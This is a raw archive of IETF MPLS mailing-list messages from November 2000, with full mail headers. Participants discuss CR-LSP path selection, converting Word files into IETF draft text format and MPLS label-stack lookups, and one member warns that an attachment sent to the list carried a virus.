[mailto:nagarajup@internet-trends.net] >Sent: Tuesday, November 14, 2000 2:20 PM >To: mpls@UU.NET >Subject: Information Regarding CR-LDP > > >Dear Friends, >i want information in deciding the next hop to establish a >CR-LSP when only >the resources are the constraints. Please reply me ASAP. >thanx >nagaraju > From owner-mpls@UU.NET Wed Nov 15 17:53:08 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA04477 for ; Wed, 15 Nov 2000 17:53:08 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjplz18781; Wed, 15 Nov 2000 22:51:16 GMT Received: by mail-control.mail.uu.net id QQjplz16011 for mpls-outgoing; Wed, 15 Nov 2000 22:50:53 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjplz16002 for ; Wed, 15 Nov 2000 22:50:46 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjplz13560 for ; Wed, 15 Nov 2000 22:50:19 GMT Received: from nec.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail1.nec.com [143.101.112.2]) id QQjplz17324 for ; Wed, 15 Nov 2000 22:50:18 GMT Received: from aslws01.asl.dl.nec.com (aslws01-hme0.asl.dl.nec.com [143.101.10.1]) by nec.com (8.9.3/8.9.3) with ESMTP id QAA24210; Wed, 15 Nov 2000 16:46:20 -0600 (CST) Received: by aslws01.asl.dl.nec.com (8.7.3/YDL1.9.1-940729.15) id QAA21271(aslws01.asl.dl.nec.com); Wed, 15 Nov 2000 16:46:18 -0600 (CST) Received: by aslws220.asl.dl.nec.com (8.7.3/YDL1.9.1-940729.15) id QAA02413(aslws220.asl.dl.nec.com); Wed, 15 Nov 2000 16:46:17 -0600 (CST) Message-ID: <3A13123A.60F12989@asl.dl.nec.com> Date: Wed, 15 Nov 2000 16:46:18 -0600 From: "C. Chen" X-Mailer: Mozilla 4.72 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Bilel Jamoussi CC: "'nagarajup'" , mpls Subject: Creating .txt with IETF Format References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Does anyone know how to generate the .txt file from Microsoft workd file while keep the proper IETF draft format? I down load the word template from IETF web site and created a .doc file. However, when I tried tosave the file with .txt extension. the resulting .txt file is not in the write format. Please advise me me how to do it right. Thank you very much in advance, Best Regards, Cheng C. Chen Bilel Jamoussi wrote: > Part 1.1Type: Plain Text (text/plain) From owner-mpls@UU.NET Wed Nov 15 17:59:36 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA06585 for ; Wed, 15 Nov 2000 17:59:36 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjplz28549; Wed, 15 Nov 2000 22:58:17 GMT Received: by mail-control.mail.uu.net id QQjplz16492 for mpls-outgoing; Wed, 15 Nov 2000 22:57:52 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjplz16487 for ; Wed, 15 Nov 2000 22:57:46 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjplz22386 for ; Wed, 15 Nov 2000 22:57:10 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjplz26909 for ; Wed, 15 Nov 2000 22:57:10 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id RAA27320 for mpls@uu.net; Wed, 15 Nov 2000 17:57:09 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjplz16459 for ; Wed, 15 Nov 2000 22:56:35 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjplz20712 for ; Wed, 15 Nov 2000 22:56:29 GMT Received: from cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sigma.cisco.com [171.69.63.142]) id QQjplz25932 for ; Wed, 15 Nov 2000 22:56:29 GMT Received: from andreawlap (andreaw-frame1.cisco.com [10.19.253.186]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id OAA03411; Wed, 15 Nov 2000 14:55:14 -0800 (PST) From: "Andrea Westerinen" To: "C. Chen" , "Bilel Jamoussi" Cc: "'nagarajup'" , "mpls" Subject: RE: Creating .txt with IETF Format Date: Wed, 15 Nov 2000 14:59:24 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <3A13123A.60F12989@asl.dl.nec.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit I print to a "Generic / Text Only" printer and select "print to file". Andrea -----Original Message----- From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of C. Chen Sent: Wednesday, November 15, 2000 2:46 PM To: Bilel Jamoussi Cc: 'nagarajup'; mpls Subject: Creating .txt with IETF Format Does anyone know how to generate the .txt file from Microsoft workd file while keep the proper IETF draft format? I down load the word template from IETF web site and created a .doc file. However, when I tried tosave the file with .txt extension. the resulting .txt file is not in the write format. Please advise me me how to do it right. Thank you very much in advance, Best Regards, Cheng C. Chen Bilel Jamoussi wrote: > Part 1.1Type: Plain Text (text/plain) From owner-mpls@UU.NET Thu Nov 16 06:42:25 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA14936 for ; Thu, 16 Nov 2000 06:42:25 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpny10044; Thu, 16 Nov 2000 11:40:55 GMT Received: by mail-control.mail.uu.net id QQjpny04157 for mpls-outgoing; Thu, 16 Nov 2000 11:40:35 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpny04152 for ; Thu, 16 Nov 2000 11:40:23 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpny06476 for ; Thu, 16 Nov 2000 11:40:11 GMT Received: from fsnt.future.futsoft.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.197.140.35]) id QQjpny21882 for ; Thu, 16 Nov 2000 11:40:08 GMT Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com (Content Technologies SMTPRS 2.0.15) with ESMTP id for ; Thu, 16 Nov 2000 10:22:17 +0530 Received: from manis (manis.future.futsoft.com [10.0.6.16]) by kailash.future.futsoft.com (8.7.1/8.7.1) with SMTP id KAA25014 for ; Thu, 16 Nov 2000 10:06:09 +0530 Reply-To: From: "Manikantan S" To: Subject: Virus in mail titled "Networld Interoperability Lab" Date: Thu, 16 Nov 2000 10:11:05 +0530 Message-Id: <000f01c04f87$6ea28da0$1006000a@future.futsoft.com> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello Sorry if some one feels this mail as trouble. Please delete the mail titled "Networld Interoperability Lab" sent on behalf of msjang@etri.re.kr. The attachment "Navidad.exe" contains a Virus. Atleast please dont execute the exe. regards mani From owner-mpls@UU.NET Thu Nov 16 10:26:56 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10573 for ; Thu, 16 Nov 2000 10:26:55 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpon11523; Thu, 16 Nov 2000 15:24:51 GMT Received: by mail-control.mail.uu.net id QQjpon06694 for mpls-outgoing; Thu, 16 Nov 2000 15:24:14 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpon06676 for ; Thu, 16 Nov 2000 15:24:01 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpon10867 for ; Thu, 16 Nov 2000 15:23:12 GMT Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjpon16816 for ; Thu, 16 Nov 2000 15:23:11 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id HAA25799 for ; Thu, 16 Nov 2000 07:23:15 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA27867 for mpls@uu.net; Thu, 16 Nov 2000 10:23:10 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpoa17130 for ; Thu, 16 Nov 2000 12:04:54 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpoa02799 for ; Thu, 16 Nov 2000 12:04:22 GMT Received: from im.eth.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.uthplanet.com [202.9.136.18]) id QQjpoa22337 for ; Thu, 16 Nov 2000 12:04:15 GMT Received: from nagaraju ([203.94.225.202]) by im.eth.net with Microsoft SMTPSVC(5.5.1877.117.11); Thu, 16 Nov 2000 17:30:16 +0530 Reply-To: From: "P.Nagaraju" To: Subject: Information Required Date: Thu, 16 Nov 2000 17:41:30 +0530 Message-ID: <000801c04fc6$5b428960$1401a8c0@fsdi.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Dear Friends, i want information regarding CR-LSP. Basically, i want to make sure whether, the Path Selection Algorithm has to be applied whenever i need to establish a new CR-LSP. thanx in advance nagaraju From owner-mpls@UU.NET Thu Nov 16 10:43:32 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA16636 for ; Thu, 16 Nov 2000 10:43:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpoo03625; Thu, 16 Nov 2000 15:40:15 GMT Received: by mail-control.mail.uu.net id QQjpoo09053 for mpls-outgoing; Thu, 16 Nov 2000 15:39:36 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpoo09039 for ; Thu, 16 Nov 2000 15:39:26 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpoo17881 for ; Thu, 16 Nov 2000 15:39:07 GMT Received: from cowansville.acbm.qc.ca by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cowansville.acbm.qc.ca [207.96.170.2]) id QQjpoo08853 for ; Thu, 16 Nov 2000 15:39:06 GMT Received: from hermes.hyperchip.com ([207.164.218.2]) by cowansville.acbm.qc.ca (Post.Office MTA v3.5.2 release 221 ID# 0-55493U700L2S100V35) with ESMTP id ca; Thu, 16 Nov 2000 10:39:15 -0500 Received: by hermes.hyperchip.com with Internet Mail Service (5.5.2650.21) id ; Thu, 16 Nov 2000 10:41:56 -0500 Message-ID: From: Eyad Saheb To: "'nagarajup@internet-trends.net'" Cc: "'mpls@UU.NET'" Subject: RE: Information Required Date: Thu, 16 Nov 2000 10:41:56 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04FE3.BFF07030" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04FE3.BFF07030 Content-Type: text/plain; charset="iso-8859-1" When establishing an explicitly routed path, constraint-based routing must be done at the ingress LER and by any LSR at the head of a loosely routed segment. I'm open to corrections. Eyad -----Original Message----- From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of P.Nagaraju Sent: Thursday, November 16, 2000 7:12 AM To: mpls@UU.NET Subject: Information Required Dear Friends, i want information regarding CR-LSP. Basically, i want to make sure whether, the Path Selection Algorithm has to be applied whenever i need to establish a new CR-LSP. thanx in advance nagaraju ------_=_NextPart_001_01C04FE3.BFF07030 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Information Required

When establishing an explicitly routed path, = constraint-based routing must be done at the ingress LER and by any LSR = at the head of a loosely routed segment.

I'm open to corrections.

Eyad

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On = Behalf Of
P.Nagaraju
Sent: Thursday, November 16, 2000 7:12 AM
To: mpls@UU.NET
Subject: Information Required


Dear Friends,

i want information regarding CR-LSP. Basically, i = want to make sure whether,
the Path Selection Algorithm has to be applied = whenever i need to establish
a new CR-LSP.
thanx in advance
nagaraju

------_=_NextPart_001_01C04FE3.BFF07030-- From owner-mpls@UU.NET Thu Nov 16 12:54:49 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA05644 for ; Thu, 16 Nov 2000 12:54:49 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpox19477; Thu, 16 Nov 2000 17:52:32 GMT Received: by mail-control.mail.uu.net id QQjpox13834 for mpls-outgoing; Thu, 16 Nov 2000 17:50:41 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpox13828 for ; Thu, 16 Nov 2000 17:50:37 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpox09493 for ; Thu, 16 Nov 2000 17:48:45 GMT Received: from workhorse.fictitious.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjpox14364 for ; Thu, 16 Nov 2000 17:48:44 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id MAA15527; Thu, 16 Nov 2000 12:46:39 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011161746.MAA15527@workhorse.fictitious.org> To: nagarajup@internet-trends.net cc: mpls@UU.NET Reply-To: curtis@avici.com Subject: Re: Information Required In-reply-to: Your message of "Thu, 16 Nov 2000 17:41:30 +0530." <000801c04fc6$5b428960$1401a8c0@fsdi.com> Date: Thu, 16 Nov 2000 12:46:39 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message <000801c04fc6$5b428960$1401a8c0@fsdi.com>, "P.Nagaraju" writes: > Dear Friends, > > i want information regarding CR-LSP. Basically, i want to make sure whether, > the Path Selection Algorithm has to be applied whenever i need to establish > a new CR-LSP. > thanx in advance > nagaraju You still have to select a path for each LSP but you can avoid a CR-SPF if you cache CR-SPF results and have a way to find the result that is applicable to the constraints for the LSP in question and this can be worth doing if the cache lookup is significantly faster than running a new CR-SPF. This is an implementation detail not a protocol issue. Curtis From owner-mpls@UU.NET Thu Nov 16 13:53:56 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA28046 for ; Thu, 16 Nov 2000 13:53:56 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjppb02812; Thu, 16 Nov 2000 18:45:46 GMT Received: by mail-control.mail.uu.net id QQjppa00424 for mpls-outgoing; Thu, 16 Nov 2000 18:42:23 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjppa00409 for ; Thu, 16 Nov 2000 18:42:09 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjppa12523 for ; Thu, 16 Nov 2000 18:40:58 GMT Received: from janus.cypress.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: janus.cypress.com [157.95.1.1]) id QQjppa20133 for ; Thu, 16 Nov 2000 18:40:57 GMT Received: from cobweb.mis.cypress.com (cobweb.mis.cypress.com [172.16.2.5]) by janus.cypress.com (8.9.1a/8.9.1) with ESMTP id KAA23425; Thu, 16 Nov 2000 10:40:55 -0800 (PST) Received: from cypress.com ([157.95.237.118]) by cobweb.mis.cypress.com (8.8.8/8.8.8) with ESMTP id KAA21842; Thu, 16 Nov 2000 10:41:34 -0800 (PST) Message-ID: <3A142A66.C226CE02@cypress.com> Date: Thu, 16 Nov 2000 10:41:43 -0800 From: Pankaj K Jha X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "C. Chen" CC: mpls Subject: Re: Creating .txt with IETF Format References: <3A13123A.60F12989@asl.dl.nec.com> <3A13E09C.779DB4CE@cypress.com> <3A13F740.8A2F94E9@asl.dl.nec.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Dear Cheng: Once you have made your .doc file, steps to making an IETF draft are simple: - Go to Printers, and select Add Printer - In the list of manufacturers for printers, look for Generic. Select Generic/Text - This printer should appear in your printer list - When printing your .doc file, select this printer. This printer prints to a file. When asked for a file name, give a file name in your directory. Let's call it "note". You'll see that all pages are getting printed as if they are going to a real printer. You should see a file name called "note.prn" in your directory. I'm sure you have the program "crlf.exe" downloaded from IETF website. If you do not have it, get it from the website. Then run the following line in DOS prompt: "crlf note.prn note.txt" The file "note.txt" is your IETF draft. Rename it to your flavor, and you are ready to submit. The template is quite finicky about font sizes, paragraph settings, etc. Any deviations and you'll end up with a bizarre output. You need to pay attention to your fonts and spacing for header 1/2/3, etc. as well. Should you need a sample word file, I can send you mine. It took me a while to figure it out, but it works great now. You can cut and paste your document into this document to finish your work quickly. Note that as long as you do not change font size, you can make your headers bold and of different colors, without any side effects. If you must use bullets, make sure the List Bullet has same font properties as your RFC Text. Hope it helps. -Pankaj "C. Chen" wrote: > Mr. Jha, > > Thank you very much for your kindness offer. Several people gave me some tips > but none of them works yet. Please adise me how you do it. > > Thank you very muvh in advance, > > Best Regards, > > Cheng C. Chen > > Pankaj K Jha wrote: > > > Did someone already reply to your question? If not, please let me know and I > > can write it for you. > > -Pankaj > > > > "C. Chen" wrote: > > > > > Does anyone know how to generate the .txt file from Microsoft workd file > > > while keep > > > the proper IETF draft format? I down load the word template from IETF > > > web site and > > > created a .doc file. However, when I tried tosave the file with .txt > > > extension. the > > > resulting .txt file is not in the write format. Please advise me me how > > > to do it > > > right. Thank you very much in advance, > > > > > > Best Regards, > > > > > > Cheng C. Chen > > > > > > Bilel Jamoussi wrote: > > > > > > > Part 1.1Type: Plain Text (text/plain) From owner-mpls@UU.NET Thu Nov 16 23:05:00 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA02142 for ; Thu, 16 Nov 2000 23:05:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpqm13957; Fri, 17 Nov 2000 04:03:39 GMT Received: by mail-control.mail.uu.net id QQjpqm10482 for mpls-outgoing; Fri, 17 Nov 2000 04:03:05 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpqm08427 for ; Fri, 17 Nov 2000 04:02:46 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpqm22476 for ; Fri, 17 Nov 2000 04:01:16 GMT Received: from cowansville.acbm.qc.ca by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cowansville.acbm.qc.ca [207.96.170.2]) id QQjpqm05576 for ; Fri, 17 Nov 2000 04:01:15 GMT Received: from hermes.hyperchip.com ([207.164.218.2]) by cowansville.acbm.qc.ca (Post.Office MTA v3.5.2 release 221 ID# 0-55493U700L2S100V35) with ESMTP id ca for ; Thu, 16 Nov 2000 23:01:51 -0500 Received: by hermes.hyperchip.com with Internet Mail Service (5.5.2650.21) id ; Thu, 16 Nov 2000 23:01:06 -0500 Message-ID: From: Eyad Saheb To: "'mpls@uu.net'" Subject: multiple lookups per packet Date: Thu, 16 Nov 2000 23:01:05 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0504B.020EAF60" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0504B.020EAF60 Content-Type: text/plain; charset="iso-8859-1" Hello everyone, I have a question regarding the number of label lookups/operation required per packet. Particularly, if a LSR does a lookup on an incoming packet it could result in another lookup. For example, consider the case where a packet gets labeled upon entry into a MPLS domain. At the following LSR, this packet/LSP can be further tunneled by adding another label to the stack. This tunnel could itself be tunneled by another LSR, and so on, resulting in a considerable label stack. Suppose that all the tunnels terminate on the same LSR. The terminating LSR would perform a lookup, determine it is the end of the LSP, and pop the label. However the next label would indicate the same thing, etc... This kind of situation can make it difficult for routers to maintain line-rate fowarding since there's no guarantee that the next lookup won't lead to another. Is there a way around this (perhaps using penultimate hop popping)? Does the MPLS architecture stipulate that situations like this should/must not occur ? thanks, Eyad ------_=_NextPart_001_01C0504B.020EAF60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable multiple lookups per packet

Hello everyone,

    I have a question regarding the = number of label lookups/operation required per packet.  = Particularly, if a LSR does a lookup on an incoming packet it could = result in another lookup.  For example, consider the case where a = packet gets labeled upon entry into a MPLS domain.  At the = following LSR, this packet/LSP can be further tunneled by adding = another label to the stack.  This tunnel could itself be tunneled = by another LSR, and so on, resulting in a considerable label = stack.  Suppose that all the tunnels terminate on the same = LSR.  The terminating LSR would perform a lookup, determine it is = the end of the LSP, and pop the label.  However the next label = would indicate the same thing, etc... This kind of situation can make = it difficult for routers to maintain line-rate fowarding since there's = no guarantee that the next lookup won't lead to another.  Is there = a way around this (perhaps using penultimate hop popping)?  Does = the MPLS architecture stipulate that situations like this should/must = not occur ?

thanks,

        Eyad


------_=_NextPart_001_01C0504B.020EAF60-- From owner-mpls@UU.NET Fri Nov 17 04:40:56 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA28705 for ; Fri, 17 Nov 2000 04:40:56 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpri23122; Fri, 17 Nov 2000 09:38:50 GMT Received: by mail-control.mail.uu.net id QQjpri29266 for mpls-outgoing; Fri, 17 Nov 2000 09:38:18 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpri29259 for ; Fri, 17 Nov 2000 09:38:14 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpri12560 for ; Fri, 17 Nov 2000 09:37:29 GMT From: neil.2.harrison@bt.com Received: from gandalf.axion.bt.co.uk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gandalf.axion.bt.co.uk [132.146.17.29]) id QQjpri03952 for ; Fri, 17 Nov 2000 09:37:28 GMT Received: from chqlubnt02.lon.bt.com by gandalf (local) with ESMTP; Fri, 17 Nov 2000 09:36:27 +0000 Received: by chqlubnt02.lon.bt.com with Internet Mail Service (5.5.2652.35) id ; Fri, 17 Nov 2000 09:36:30 -0000 Message-ID: To: pkj@cypress.com, cchen@asl.dl.nec.com Cc: mpls@UU.NET Subject: RE: Creating .txt with IETF Format Date: Fri, 17 Nov 2000 09:36:24 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk I find it kind of weird that the vast majority (read as 'overwhelming consensus and far from rough running code') use Word/ppt and yet we are forced to use this outdated mode for producing IDs. This is just dogma to me and I don't buy any of the arguments I have heard to retain this mode. If IETF claim to act on a consenus basis then why not lets have a vote on this? neil > -----Original Message----- > From: Pankaj K Jha [SMTP:pkj@cypress.com] > Sent: Thursday, November 16, 2000 6:42 PM > To: C. Chen > Cc: mpls > Subject: Re: Creating .txt with IETF Format > > Dear Cheng: > > > > Once you have made your .doc file, steps to making an IETF draft are > simple: > > - Go to Printers, and select Add Printer > - In the list of manufacturers for printers, look for Generic. Select > Generic/Text > > - This printer should appear in your printer list > - When printing your .doc file, select this printer. This printer prints > to a > file. When asked for a file name, give a file name in your directory. > Let's call > it "note". > > You'll see that all pages are getting printed as if they are going to a > real > printer. > You should see a file name called "note.prn" in your directory. > > I'm sure you have the program "crlf.exe" downloaded from IETF website. If > you do > not have it, get it from the website. > > Then run the following line in DOS prompt: > > "crlf note.prn note.txt" > > The file "note.txt" is your IETF draft. Rename it to your flavor, and you > are > ready to submit. > > The template is quite finicky about font sizes, paragraph settings, etc. > Any > deviations and you'll end up with a bizarre output. You need to pay > attention to > your fonts and spacing for header 1/2/3, etc. as well. > > Should you need a sample word file, I can send you mine. It took me a > while to > figure it out, but it works great now. You can cut and paste your > document into > this document to finish your work quickly. > > Note that as long as you do not change font size, you can make your > headers bold > and of different colors, without any side effects. If you must use > bullets, make > sure the List Bullet has same font properties as your RFC Text. > > Hope it helps. > > -Pankaj > > "C. Chen" wrote: > > > Mr. Jha, > > > > Thank you very much for your kindness offer. Several people gave me some > tips > > but none of them works yet. Please adise me how you do it. > > > > Thank you very muvh in advance, > > > > Best Regards, > > > > Cheng C. Chen > > > > Pankaj K Jha wrote: > > > > > Did someone already reply to your question? If not, please let me know > and I > > > can write it for you. > > > -Pankaj > > > > > > "C. Chen" wrote: > > > > > > > Does anyone know how to generate the .txt file from Microsoft workd > file > > > > while keep > > > > the proper IETF draft format? I down load the word template from > IETF > > > > web site and > > > > created a .doc file. However, when I tried tosave the file with .txt > > > > extension. the > > > > resulting .txt file is not in the write format. Please advise me me > how > > > > to do it > > > > right. Thank you very much in advance, > > > > > > > > Best Regards, > > > > > > > > Cheng C. Chen > > > > > > > > Bilel Jamoussi wrote: > 